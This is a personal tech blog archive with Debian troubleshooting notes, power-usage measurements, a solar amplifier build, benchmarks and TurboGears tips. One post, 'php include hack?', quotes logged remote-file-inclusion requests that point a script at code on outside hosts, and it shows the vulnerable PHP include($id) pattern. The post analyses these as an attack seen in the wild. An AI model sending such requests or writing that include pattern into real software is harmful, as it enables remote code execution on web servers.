Wed, 09 Jun 2010

Etch to Lenny upgrade of samba with Windows 98 clients

So I just recently upgraded an old server from etch to lenny, that was hosting some files on a samba share for an ultra old Windows 98 machine. Anyways, upgrade went fine, but I ran into a problem authenticating the windows 98 machine to the samba share after the upgrade. Getting the old IPC$ invalid password deal. After stubling around with samaba for a while I found that at some point between the two releases they have disabled lanman authentication as it's rather unsecure and such. And it turns out that is fine, as long as you don't have any windows machines older than XP. So I had to enabled laman authentication in the samba config file by adding the line lanman auth = yes to my /etc/samba/smb.conf file. That did the trick, and now the ancient windows 98 machine can login to the file server again.

posted at: 16:10 | path: /debian | permanent link to this entry

Java applications start with a blank window in awesome wm

I had a problem with opening some java applications in awesome where the app would just come up with a blank screen. It looks like this is due to a bug in java with windows managers that are non-reparenting, which is what awesome is (along with xmonad, dwm, ratpoison, Ion3, etc). Seems you can trick it by impersonating another windows manager which seems to do the trick for me:
sudo apt-get install dwm-tools
wmname LG3D
Reference: http://awesome.naquadah.org/wiki/Problems_with_Java

posted at: 00:40 | path: /debian | permanent link to this entry

Tue, 27 Apr 2010

Flash player 10 64 bit for linux

I hate dealing with flash for linux, but it always comes up that people need flashplayer 10 installed, and getting it on a 64 bit platform (without running it through ndiswrapper) is kind of a pain. Anyways, I always end up having to do this, so I thought I'd put this here for future reference.

posted at: 18:38 | path: /debian | permanent link to this entry

Fri, 22 Jan 2010

Power Supply Efficiency

So a few months ago I was about to upgrade my video card in my main desktop/gaming system, and realized I needed a new power supply. I was still running the stock Antec 380 watt PSU that came with the Sonata case. It wasn't going be able to power the new video card properly, and infact was alredy underpowered for the system it was running in. Anyways, I went out and picked up a Seasonic M12 600 Watt 80 PLUS power supply. The 80 PLUS designation means the power supply is more efficent (the rating states they are 80% efficent at 20%, 50% and 100% utilization). This is somewhere around 20% more efficent than standard power supply units. So anyways, since I was upgrading I decided to run some test before I put the new video card in to see what difference it was making, and here are the results. These are measured using a Kill-A-Watt device.

System: Intel Quad Core Q6600, running a radeon 4830 graphics card.

Antec 380 Watt PSUSeasonic M12 600 Watt PSU
System Off6 watts2 watts
During Bootup218 watts190 watts
Peak During bootup240 watts202 watts
Windows Desktop Idle128 watts111 watts
CS:Source Video Stress Test222-240 watts188->204 watts

And just a quick comparison, this is the seasonic PSU but with the new video card (Nvidia GTX 260) during Counter-Strike Source Stress Test: 189-208, so it seems to use just a tiny bit more power than the ATI Radeon 4830.

Anyways, it's interesting how much of a difference in power usage a quality power supply makes. Those test are identical except for the power supply change, and as you can see it really does make a noticable difference.

posted at: 15:28 | path: /energy | permanent link to this entry

Wed, 30 Sep 2009

Mortgage Calculators

I've been following house prices for a few years, watching what I think is a huge housing bubble develope in Canada. Anyways, I often run little mortgage scenario's on houses just for fun to see how out of whack things are (the average family not being able to afford even a cheap home, etc, etc), and I did a google search for mortgage calculators and found something that I think is interesting.

This site: http://www.mortgagecalculator.net/ that is hosted by who knows, doesn't allow you to put in an interest rate above 9.0 percent. It seems to just not compute and won't show you any numbers? Anyways, that is just out to lunch since interest rates over the past 30 years have been up to 21%, and average around 8% or so. Yeah, they are stupid low now, but it doesn't mean they can't ever go past 9%? Just crazy.

And then I find this other site hosted by the BBC in the UK and they let you enter in your interest rate etc, and in the results they have a "But be careful, at 12% it will be:" amount. Which is exactly what people need to know! So anyways, a nice example of stupid vs sensible. http://www.bbc.co.uk/homes/property/mortgagecalculator.shtml

posted at: 13:29 | path: /general | permanent link to this entry

Wed, 15 Jul 2009

now with rss

Because there is one person who reads this blog I finally got around to hooking up the rss function. Link at the bottom of this page or right here. Enjoy :)

posted at: 20:13 | path: /general | permanent link to this entry

apt-get install in lenny

I was just setting up a minimalistic netboot machine and needed metacity for a windows manager so I typed in apt-get install metacity and got the following:
# apt-get install metacity
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon
  gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20
  libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6
  libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0
  libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp
Suggested packages:
  cdrskin evolution evolution-data-server-dbg cdrkit-doc tomboy cpufreqd cpudyn powernowd esound-clients gnome-screensaver xscreensaver gnome2-user-guide gnome-system-tools libasound2-plugins libvisual-0.4-plugins gnome-app-install liblcms-utils voikko-fi libio-socket-ssl-perl libunicode-map8-perl
  libunicode-string-perl xml-twig-tools eog evince pdf-viewer totem mp3-decoder tracker fam xulrunner-1.9-gnome-support
The following NEW packages will be installed:
  desktop-file-utils doc-base dvd+rw-tools evolution-data-server evolution-data-server-common genisoimage gnome-about gnome-applets gnome-applets-data gnome-control-center gnome-desktop-data gnome-doc-utils gnome-media gnome-netstatus-applet gnome-panel gnome-panel-data gnome-session gnome-settings-daemon
  gnome-system-monitor gnome-user-guide gstreamer0.10-alsa gstreamer0.10-plugins-base gstreamer0.10-plugins-good gstreamer0.10-x libaa1 libapm1 libasound2 libcairomm-1.0-1 libcdio7 libcdparanoia0 libcompress-raw-zlib-perl libcompress-zlib-perl libedata-book1.2-2 libedata-cal1.2-6 libedataserverui1.2-8 libeel2-2.20
  libeel2-data libegroupwise1.2-13 libenchant1c2a libexempi3 libexif12 libflac8 libfont-afm-perl libfreezethaw-perl libgdata-google1.2-1 libgdata1.2-1 libglibmm-2.4-1c2a libgnome-window-settings1 libgnomekbd-common libgnomekbd2 libgnomekbdui2 libgstreamer-plugins-base0.10-0 libgtkmm-2.4-1c2a libgucharmap6
  libgweather-common libgweather1 libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhunspell-1.2-0 libio-compress-base-perl libio-compress-zlib-perl liblcms1 libmalaga7 libmldbm-perl libmozjs1d libnautilus-extension1 libnet-dbus-perl libnotify1 liboobs-1-4 librarian0 libsexy2 libslab0
  libsoup2.4-1 libtie-ixhash-perl libtrackerclient0 libuuid-perl libvoikko1 libwavpack1 libwww-perl libxklavier12 libxml-parser-perl libxml-twig-perl libxml-xpath-perl metacity myspell-en-us nautilus nautilus-cd-burner nautilus-data notification-daemon system-tools-backends wodim xulrunner-1.9 yelp
0 upgraded, 95 newly installed, 0 to remove and 2 not upgraded.
35 not fully installed or removed.
Need to get 73.9MB of archives.
After this operation, 194MB of additional disk space will be used.
Do you want to continue [Y/n]? n
Abort.
So then I'm thinking, "what the hell?", I don't need any of those extra packages that it plans to install. How does installing metacity require the gnome-system-monitor? So I did a quick search and it turns out the default behaviour has changed in lenny to install recommended packages by default. And you can change that behaviour by adding a couple lines to your /etc/apt/apt.conf file (just create it if it doesn't exist), and add:
APT::Install-Recommends "0";
APT::Install-Suggests "0";
That changed the my install down to:
# apt-get install metacity
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  gnome-control-center
Recommended packages:
  gnome-session x-session-manager
The following NEW packages will be installed:
  metacity
0 upgraded, 1 newly installed, 0 to remove and 2 not upgraded.
That is much more like it...

posted at: 19:41 | path: /debian | permanent link to this entry

Fri, 01 May 2009

r8169 NETDEV WATCHDOG transmit timed out problem

I recently built a new home server box using an Intel Atom (BOXD945GCLF2 Atom 330 Dual Core 1.6Ghz to be exact), and ran into a strange problem where the box would crash with an error like this:
[322865.976030] ------------[ cut here ]------------
[322865.976038] WARNING: at net/sched/sch_generic.c:226 dev_watchdog+0xf6/0x18b()
[322865.976043] Hardware name:
[322865.976047] NETDEV WATCHDOG: eth0 (r8169): transmit timed out
[322865.976051] Modules linked in: ipt_MASQUERADE xt_limit xt_helper xt_multiport xt_DSCP xt_tcpudp xt_state ipt_LOG ipt_REJECT iptable_nat nf_nat nf_conntrack_ipv4 nf_conntrack nf_defrag_ipv4 iptable_filter iptable_mangle ip_tables x_tables ipv6 fuse loop hid_pl hid_cypress hid_zpff hid_gyration hid_sony hid_ntrig hid_samsung hid_microsoft hid_tmff hid_monterey hid_ezkey hid_apple hid_a4tech hid_logitech ff_memless hid_cherry hid_sunplus hid_petalynx hid_belkin hid_chicony usbhid hid ds2490 wire cn serio_raw 8139too i2c_i801 rng_core 8139cp parport_pc evdev i2c_core floppy parport ehci_hcd uhci_hcd button thermal processor iTCO_wdt thermal_sys usbcore
[322865.976152] Pid: 0, comm: swapper Not tainted 2.6.29.1 #1
[322865.976156] Call Trace:
[322865.976167]  [] warn_slowpath+0x80/0xb6
[322865.976176]  [] cpumask_next_and+0x23/0x33
[322865.976184]  [] find_busiest_group+0x2fa/0x7e2
[322865.976193]  [] sched_clock_cpu+0x136/0x147
[322865.976200]  [] dev_watchdog+0xf6/0x18b
[322865.976207]  [] hrtimer_forward+0x10c/0x124
[322865.976214]  [] scheduler_tick+0x9c/0x1a3
[322865.976220]  [] getnstimeofday+0x4c/0xcf
[322865.976227]  [] lapic_next_event+0x10/0x13
[322865.976233]  [] dev_watchdog+0x0/0x18b
[322865.976241]  [] run_timer_softirq+0x14a/0x1b4
[322865.976247]  [] dev_watchdog+0x0/0x18b
[322865.976254]  [] __do_softirq+0x8c/0x130
[322865.976260]  [] do_softirq+0x45/0x53
[322865.976266]  [] irq_exit+0x35/0x62
[322865.976272]  [] smp_apic_timer_interrupt+0x71/0x7b
[322865.976280]  [] apic_timer_interrupt+0x28/0x30
[322865.976287]  [] mwait_idle+0x4c/0x5a
[322865.976293]  [] cpu_idle+0x60/0x7a
[322865.976298] ---[ end trace f9e87d98b4ee5218 ]---
[322866.001730] r8169: eth0: link up
It would always happen while transfering large amounts of data out from the server through the onboard gigabyte ethernet listed in lspci as:
01:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 02)

Sometimes it would sort of freeze up the machine for a minute or two, and others it crashed and rebooted. Anyways, tracking the problem down was quite the pain since it only happened sometimes when transfering large amounts of data. Searching for a fix also was hard, and I found many others with the same problem with this realtek NIC, but no one had a solution. But I eventually stumbled upon this post which was the same problem and the last post is someone saying they were going to try the pci=nomsi boot option. I guess it worked for him and so he never posted back, so I tried that out myself and it seems to have fixed the problem.

The pci=nomsi option seems to disable MSI (Message Signaled Interrupt) which is a feature of the PCI bus revision 2.3 or later. It seems like it sometimes causes problems as it is the solution to a number of different problems with pci devices not working so well.

posted at: 01:37 | path: /debian | permanent link to this entry

Tue, 06 Jan 2009

joule theif

jouletheif

http://www.evilmadscientist.com/article.php/joulethief
http://www.talkingelectronics.com/projects/LEDTorchCircuits/LEDTorchCircuits-P1.html

posted at: 05:14 | path: /electronics | permanent link to this entry

Tue, 21 Oct 2008

Ubuntu install problems - dumping to busybox

I just ran into a problem running with Ubuntu 8.04 install on a machine that would cause the installtion to start booting from CD and then dump you to a Busybox shell with an initramfs prompt. After searching around it looks to be an issue with the IDE/SATA controllers on some motherboards. I ended up fixing the issue by following some instruction from various others that were having the same problem:

Bug #222176: initramfs error/problem ubuntu 8.04

In my case it seems hitting F6 and appending the boot option pci=nomsi solved the problem in my case. Others reported appending all_generic_ide floppy=off irqpoll that solved the issue for them.

posted at: 16:05 | path: /debian | permanent link to this entry

Sun, 14 Sep 2008

Custom X startup using GDM

I wanted to run my own startup script, since I've been using awesome windows manager lately, and wanted to run a few items at startup as well. This ended up being more difficult than it should have been probably, but it works. I ended up just creating a ~/.xsession file like so:
xbindkeys &
exec awesome
Then just made that file executable. I then edited my ~/.dmrc file and changed "Session=awesome" to "Session=custom". That tells GDM to launch X using your ~/.xsession instead of a specific windows manager, allowing you to run whatever you want at startup as well.

posted at: 01:55 | path: /debian | permanent link to this entry

Wed, 04 Jun 2008

Zim Wiki

Hurt pointed me to a program he found called Zim wiki. It's similar to Tomboy notes but different in many ways as well. It runs more as an app, and less as a tray item. The other very cool thing about it is that all the notes are just stored in standard plain text with normal wiki markup type language, making them easily viewable and editable from the command line. Anyways, I'm finding it really quite good and wanted to run the latest version (Debian Etch has 0.17, but 0.25 is out). In order to run it on Etch I had to upgrade a couple perl modules by switching my sources to testing and doing a
apt-get install libfile-desktopentry-perl libmodule-build-perl libfile-basedir-perl
After that it's just a matter of untar'ing the source, and running the binary (<src dir>/bin/zim). Also to make things even more useful, there exists a Tomboy 2 Zim python script to convert your notes if you were using Tomboy.

posted at: 23:08 | path: /debian | permanent link to this entry

Mon, 05 May 2008

new blog

Well wordpress failed me again after I got lazy and didn't upgrade it for a while. It ended up getting hacked through a vulnerability in the image upload script. There didn't seem to be any real damage but it messed up my wordpress database somehow. Anyways, I'm rather sick of upgrading wordpress constantly and so I've switched to pyblosxom. It's nice and simple, no comments, so no spam, and I was able to drop all my old wordpress posts into text files with a simple python script.

posted at: 22:46 | path: /general | permanent link to this entry

ibook g4 debian

I noticed the ibook getting really warm during compiles, and a quick search showed that I needed to load a module to properly monitor the temperature and thus start the fan. Sure enough as soon as I did modprobe therm_adt746x the fan started up. I made sure to add this to the /etc/modules

This also provides /sys/devices/temperatures/sensor1_tempature (and sensor2_temperature) which were at 60 when I first modprobe'd the module but quickly dropped.

posted at: 22:33 | path: /debian | permanent link to this entry

python-mysql on maemo

Compiling python-mysql for use on a nokia n800.

I got the libmysqlclient15 libraries that were released from the gmyth package.
http://sourceforge.net/project/showfiles.php?group_id=177106&package_id=225202

I then downloaded MySQL-python-1.2.2.tar.gz

export LD_LIBRARY_PATH=/usr/lib/mysql
I changed site.cfg file and set threadsafe to false, then ran python2.5 setup.py build
I then changed site.cfg to set threadsafe to true, then ran python2.5 setup.py build again
after that all went well, I ran python2.5 setup.py install and this created an egg /usr/lib/python2.5/site-packages/MySQL_python-1.2.2-py2.5-linux-armv5tel.egg

I copied this to the nokia n800 in the same directory and installed libmysqlclient15_5.0.27_armel.deb and then I was able to import MySQLdb and use mysql.

added /usr/lib/mysql to /etc/ld.so.conf and ran ldconfig

posted at: 22:22 | path: /general | permanent link to this entry

Sat, 12 Jan 2008

weird gtksequence.c errors

Recently I was having a problem with a threaded pygtk app I was working on and nearly went insane trying to track down the problem. What was happening was I would randomly get errors that would cause the application to crash, such as:
Gtk-ERROR **: file gtksequence.c: line 760 (_gtk_sequence_node_find_by_pos): assertion failed: (node->parent != NULL)
aborting...

or

Gtk-ERROR **: file gtksequence.c: line 595 (_gtk_sequence_node_rotate): assertion failed: (node->parent)
aborting...
I couldn't really figure out what was going on since it was so random, it would happen 1 of 10 tries, then 3 of 10 and just all very random. I found the call that was causing it but still managed to not understand what the problem was. Anyways, after carefully going through my code and much google searching, I finally realized that my call was updating the gtk interface but I had forgot to make my call to enter the gtk thread before hand. So as a note to myself, always remember to make gtk.threads_enter/leave() calls! Ack.
gtk.threads_enter()
self.mainapp.function()
gtk.threads_leave()

posted at: 04:48 | path: /pygtk | permanent link to this entry

Fri, 02 Nov 2007

Last.fm OMI (Open Mind Index)

I came across this OMI (Open Mind Index) generator while browsing around last.fm that is rather cool if your a last.fm junkie. As it's described on the website:

The calculation is based on your top-artist of the last 12 months. The weighting of a tag depends on the quantity of your played songs of one artist, as well as the most frequently used tag for this artist. On the basis of quantity, distribution and weighting of the tags, the OMI will be calculated.


So it basically takes your last.fm stats and creates even more stats about your listening. And everyone loves statistics (well, last.fm users do). They also have a bunch of OMI stats based on age, country and so on.

posted at: 03:26 | path: /general | permanent link to this entry

Sat, 06 Oct 2007

php include hack?

I happened to be watching a log file when I was testing something and happened to notice the following type of request go by:

217.11.225.208 - - [05/Oct/2007:12:46:32 -0400] "GET /pictures/index.php?id=830/index.php?id=http://211.155.235.169/sewam/cmd.txt? HTTP/1.1" 200 1435 "-" "libwww-perl/5.805"

85.11.62.235 - - [06/Oct/2007:01:03:47 -0400] "GET /pictures/index.php?id=http://ninaru.hut2.ru/images/cs.txt? HTTP/1.1" 200 1455 "-" "Wget/1.1 (compatible; i486; Linux; RedHat7.3)"


Which was interesting, as it's obviously some type of hack attempt. I decided to look into it and it seems that it's a scripted attempt to just pass the url to any scripts that accept a variable, in hopes that someone was silly enough to accept that variable as an include and happened to have remote includes turned on in there php config, something like this:

< ?php

include($id);
// rest of script
?>


Then when the page is called, the url is passed in as the include and the script gets executed. Which seems to be some type of irc bot, although the file is all encoded to help try and hide what exactly is going on, although I'm sure you end up in some bot net ultimately. And from what I read it's not uncommon for people to actually have a page setup like that for redirects or some such nonsense. Obviously not a good practice as you'd likely end up victim to this request.

Here are a copy of the scripts hosted locally from the above to examples, as I doubt they'll be around forever on those hosts. cs.txt & cmd.txt

posted at: 02:45 | path: /security | permanent link to this entry

Sun, 12 Aug 2007

delayed sleep phase syndrome

My girlfriend recently found this article on wikipedia about delayed sleep phase syndrome, and immediately showed it to me since it describes my sleeping habits exactly. It's interesting as it seems just be a more extreme case of the natural circadian rhythm which has some people being "owls" or those who tend to go to sleep naturally later in the night (midnight - 2am). And on the flip side there are "Larks" who naturally go to bed earlier, and in turn wake up earlier. Along with that there is advanced sleep phase syndrome which is the exact opposite to delayed sleep phase syndrome. And in between are people who sleep more regular hours, sometimes referred to as "hummingbirds". From what I read Owls and Larks each account for about 15% of the population while the remaining 70% are hummingbirds.

In the case of these sleeping problems the best solution seems to be to find a lifestyle that fits with your sleeping since the trouble isn't sleeping at all, it's just when you sleep. All through school, and while I was working 9-5 I always had massive trouble going to bed at night, and getting up in the morning. I tried all kinds of different methods to try and get myself to sleep earlier but nothing ever worked. Even after struggling to get up in the morning, working a long day and then trying to go to bed early I would just lay there forever not falling asleep until after 2am. And thus getting up in the morning would be a massive pain, and thus I've always been late for everything in life if it's in the morning hours. Now that I'm self employed I can pretty much work my own hours and so I just go to sleep when I'm tired at 4 or 5am and sleep until I'm not tired and get up around noon. Unfortunately the world doesn't really work on those hours so finding a lifestyle to fit the more extreme cases of owls and larks isn't always easy, and is almost always a problem during school. But knowing what the problem is certainly makes it easier to find a solution. All through school it was assumed that I just slept too much and the solution seems to be finding out why I slept such long hours, when in fact, I wasn't sleeping very much at all since I was mostly just laying in bed at night not sleeping, or at least not getting any good sleep, and then getting up way to early. In turn making me seem tired all of the time as school hours are nearly my natural sleep hours.

This article titled Everything You Always Wanted To Know About Sleep (But Were Too Afraid To Ask) is a great overview of sleep in general and worth reading if your interested.

posted at: 05:46 | path: /general | permanent link to this entry

Thu, 07 Jun 2007

solar powered t-amp

solar panel laying on the roof
Solar panel laying on the roof.



I've been working on this project over the past couple of months and have finally got it all together. It's basically just a little T-Amp running from a battery bank that I power with a solar panel. I had the idea a little while ago as it pretty much all fits together nicely since the T-Amp is designed to run from a 12Volt battery source, and it just so happens many solar panels are designed for charging just this type of battery. Searching on the net I found someone had already done this as well as outlined on an article on New Consumer. And searching for that article to add the link to this post I see someone has recently posted an instructable for this same idea as well.

But anyways, I thought I'd post what I did anyways even if it's not unique :)

The first thing I did was get a reasonably sized solar panel. I ended up finding a 40 watt SL040 Sunlink PV panel on ebay, sold new from a seller in Toronto who runs a store on ebay called Go Green Energy. The panel was about $320 all said and done and it came with a charge controller as well. This panel is rated at 17.2 volts at 2.33 amps, however since I am charging a 12 volt system with it my effective wattage form the panel is ~28W, but it seems to output that even on cloudy conditions and such which is why I think the panel is designed to be 17.2 volts. It's a little bit wasteful in full sunlight, but does work in a wider range of partial sunlight conditions. (At least thats how I understand it. I'm no expert). It's also pretty small measuring 25"x21" so it fits on our little porch without having to do any work mounting it to the roof or anything.

view from porch onto street
View from porch onto street...



close up of the panel
Close up view of the panel.









two workaholic U2200 batteries in series
Batteries wired in series.



So with the panel I was able to hook the T-Amp directly to the battery terminals from the charge controller and listen to music when it was daylight. However I needed to get some batteries so I could keep it running beyond that. I managed to get two Interstate Workaholic U2200 Deep Cycle batteries from a guy at work for free which was a pretty good score as they would be around $80 each to buy I believe. These are 6 volt batteries with 220 amp hour rating. I hooked them up in series and so I have a 12V battery bank with lots of power now. This should be enough to run the T-Amp for 200+ hours. I'll probably end up hooking up some other 12 volt items to this bank though as the panel should be able to keep the battery charged pretty easily.

To wire everything up I've run the solar panel into the charge controller (as seen in the photo below). I then have the positive feed from the charge controller running to the battery where it is fused off with a 4 amp automotive fuse as close to the battery as possible. The negative lead simply runs directly to the battery. I then have the T-Amp power running to the positive terminal where it is fused off with a 5 amp fuse in another automotive fuse holder. (I purchased the fuses and fuse holders from the automotive section at canadian tire). And the negative lead from the T-amp wried in directly to the negative side of the battery terminal as well. You can also see the jumper cable I'm using in between the two batteries to wire them in series (connecting the positive post of one battery to the negative post on the other battery.

And thats pretty much it. I've been running it on the battery bank now for a week or two and it's been working like a charm.




fuses connected to the postive terminal
Fused positive terminal. Using a 4 amp fuse inbetween the charge controller and the batteries, and a 5 amp fuse between the batteries and the T-Amp


charge contoller
The charge controller, black wires are coming in from the solar panel, and the blue wires are running to the battery. The T-Amp (load) connects to the battery itself.


T-Amp hooked up and running
T-Amp hooked up and running from solar power.




posted at: 20:21 | path: /energy | permanent link to this entry

Sat, 02 Jun 2007

pystone benchmarks

These aren't very sceintific tests, but it's interesting to see the difference from processor to processor. The test I'm performing is a builtin pystone benchmark from the test module in python that tests mostly cpu performance in executing python code. It is simply done by doing the following on a *unix box:

from test import pystone
pystone.main(500000)

It will then output the time it took and the pystones/second value. Run it a few times and take the lowest value. Here are the results from a bunch of machines I have access too:
MachineTimepystones/second
Intel Core 2 Duo 6600 (2.4 ghz)7.0471022.7
Intel Xeon 5110 (1.6 ghz)10.4247984.6
Athlon s969 3200+ (2.0 ghz)12.0241597.3
Athlon s969 3000+ (1.8 ghz)13.3737397.2
AMD Hammer? (1.6 ghz)14.9533444.8
AMD Opteron 242 (1.6 ghz)15.2032894.7
Intel Pentium 4 (2.4 ghz)16.5330248.0
AMD Sempron (1.6 ghz)17.0129394.5
Epia M6000 (600 mhz)74.546707.8
Intel Celeron (300 mhz)100.894955.9

graph

As can be seen from the graph the new Core 2 Duo chip I got outperforms my old AMD 64 3000+ by almost double in this test. And it really does make quite a noticeable difference in just day to day use. Well worth the upgrade I would say...

posted at: 00:00 | path: /general | permanent link to this entry

Thu, 24 May 2007

installing debian on an asus P5B with 4 gig ram

So I decided to do an upgrade on my desktop machine to give it some more power, and cycle down the old system to replace my server as it could really use an upgrade. Did some searching and decided to go with a Intel Core Duo 2 2.4ghz on an Asus P5B board with 4 gigs of ram. Got it all home this evening and started tearing apart my system and installing all the new shinny computer parts. Got it all together without much problem and then started on getting my desktop back up and going. This is where things started getting tricky.

First, the bios was only showing 3 gigs of ram no matter what I tried. After doing a bios upgrade (which you can do on flash memory stick these days), I found a site mentioning a bios setting that you need to change to make it show 4 gigs. (BIOS -> Advanced -> Chipset -> North Bridge Configuration -> Memory Remap Feature).

So after finally getting that sorted out I decided to do a fresh install of debian on a new hard drive I got for the machine. Went through and finished the install, but then realized I only had 2 gigs of ram available. Thinking it was a kernel option I had seen before I recompiled the kernel with 4 gig memory support but no change. Then after doing some googling found out that you need to be running the AMD64 port to be able to access that much memory.

So, I then downloaded the AMD64 installer (which is kind of a strange name since it seems to cover all x86_64 chips). I then ran into a problem with the installer and this particular board it seems and for the installer to not hang you need to run it with the option agp=off so that it doesn't attempt to load the intel_agp driver which seems to cause problems.

But now it seems the system is finally up and going. And this is the first 64bit system I've actually installed as well so that should be interesting...

posted at: 02:55 | path: /debian | permanent link to this entry

Sat, 19 May 2007

passing options to toscawidgets

The syntax for passing options to a widget with toscawidgets is slightly different than it was with the turbogears widgets. This actually had me google searching for a while to find this so I thought I'd post it here as a full example:

You define your widget in the controllers.py file:
from toscawidgets.core import WidgetsList

from toscawidgets.widgets.forms import SingleSelectField, TableForm, TextField
from formencode.schema import Schema
...
class FilteringSchema(Schema):
filter_extra_fields = True
allow_extra_fields = True

class Fields(WidgetsList):
testselect = SingleSelectField(label="Test:", validator=validators.Int())
name = TextField(validator=validators.NotEmpty(), label="Name:", attrs={'maxlength':128})

testform = TableForm("TestForm", validator=FilteringSchema, fields=Fields(), action="save", submit_text="Submit")

class Root(controllers.RootController):

@expose(html="test.templates.formpage")
def formpage(self):
selectlist = [(1, 'option 1'), (2, 'option 2')]
data = dict(child_args=dict(testselect=dict(options=selectlist)), value=dict(name='Test Guy'))
return dict(form=testform, data=data)


This produces your form and the data to populate your form passed as form and data. In the formpage template you simply display the form with the following line:
${form.display(**data)}


This should produce a form with a select field showing option 1 and option 2 in a dropdown, and a name text field filled in with the value Test Guy.

posted at: 01:45 | path: /turbogears | permanent link to this entry

Tue, 15 May 2007

turbogears kid to genshi

I've started working on an existing turbogears application recently and we're about to do a pretty major update. From what I've read genshi is taking over from where kid left off and so before I go any further with kid I thought it best to migrate the project to genshi before we get into styling the site and so on. I ran into a few little problems with widgets and some syntax changes between the two which I thought I'd outline after piecing together the following from a few different google searches. I made the following change using turbogears 1.0.2.2:

Set turbogears to use genshi in your dev.cfg (or app.cfg):
tg.defaultview = "genshi"


Rename your kid templates from .kid to .html

Modify your template headers should look similar to this:
< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:py="http://genshi.edgewall.org/"
xmlns:xi="http://www.w3.org/2001/XInclude">

<xi :include href="master.html" />

notice the use of Xinclude instead of py:extends

Modify your master.html file if your using one close to the stock from tutorial:
old: <head py:match="item.tag=='{http://www.w3.org/1999/xhtml}head'" py:attrs="item.items()">

new: <head py:match="head" py:attrs="select('@*')">

old: <meta py:replace="item[:]"/>
new: <meta py:replace="select('*')" />

old: <body py:match="item.tag=='{http://www.w3.org/1999/xhtml}body'" py:attrs="item.items()">
new: <body py:match="body" py:attrs="select('@*')">

old: <div py:replace="[item.text]+item[:]"/>
new: <div py:replace="select('*|text()')" />


If you are using turbogears widgets they will not work with genshi and it seems the best solution is to use ToscaWidgets (check the site for installation instructions). I was able to get them working by simply importing the widgets from the toscawidgets module and using the FilteringSchema class. Other than that widgets work just the same as they did before. Here are the changes in the controller.py file:
from toscawidgets.core import WidgetsList

from toscawidgets.widgets.forms import TextField, HiddenField, SingleSelectField, TableForm, TextArea, RadioButtonList
from formencode.schema import Schema
...
class FilteringSchema(Schema):
filter_extra_fields = True
allow_extra_fields = True

class ProjectorFields(WidgetsList):
test1 = TextField(validator=validators.NotEmpty(), label="Test 1:")
test2 = TextField(validator=validators.NotEmpty(), label="Test 2:")

form = TableForm("testform", validator=FilteringSchema, fields=TestFormFields(), action="testform", submit_text="Submit")



The one last thing I ran into was the use of py:attrs has changed to using a dictionary of values:
old: py:attrs="selected=tg.selector(id == testid)"

new: py:attrs="{'selected': tg.selector(id == testid)}"


posted at: 01:56 | path: /turbogears | permanent link to this entry

Thu, 10 May 2007

power usage

I purchased a Kill-A-Watt (P4400) a few days ago and started measuring my energy usage to see what I could conserve on. I thought I'd publish what I found to give an idea on what devices drain the most electricity. Everything listed here is measured in VA (Watts).





























DeviceStandbyIn Use
AVR 230 Audio Recevier160-75
Toshiba DVD Player012
Goldstar VCR2.59
19" Acer LCD Monitor126
21" Viewsonic CRT Monitor260-70
Athlon 3500+ gaming computer4165-185
Athlong 3000+ desktop499-125
Epia M6000 computer316-22
Epia M10000 computer447-60
Apple iBook G4-15-22
Linksys WRT54G wireless router-4
Linksys VOIP router-6-7
RCA Cablemodem-4
D-Link 8 port switch-4
BenQ BP6100 Projector11245
Toshiba 32" CRT TV161
Compact flourescent lamp-13
Small Compact flourescent lamp-3
Small lamp with small incadescent bulb-36
Aquaclear 150 Pump-3
Rena Filstar XP 1 Pump-17
Aquaclear 50 Heater-180
Rena Air Pump-2
2 x 48" T8 Flourescent Lights-50
2 x 24" T5 Flourescent Lights-30
65W 24" Compact flourescent lights-50

posted at: 20:03 | path: /energy | permanent link to this entry

Tue, 27 Mar 2007

WD Raptor drives

I'm a big fan of these new WD Raptor 10k rpm SATA drives that have been out for a little while now. So far they've been really solid and they make quite the difference in IO speed. I just replaced a drive in a machine and had a chance to perform a little real world test on identical machines hardware wise except the drive.

Machine A has a Seagate 7200rpm SATA drive (ST380013AS)
Machine B has a Western Digitial 10k rpm 36gig Raptor (WD360ADFD-00)

Both machines are AMD64 3000+ w/1gig of ram (identical mainboards/ram/controllers and whatnot)

First I did a little test with apt-get. Both machines are running Debian Etch and had an identical upgrade to do on firefox (or iceweasel). First I downloaded the packages to make sure they were starting from the same place:
apt-get -d install mozilla-firefox

Next I ran the install and timed them both:
time apt-get -y install mozilla-firefox

For the older seagate drive the time was 22.6 seconds:
real 0m22.571s
user 0m2.956s
sys 0m1.032s


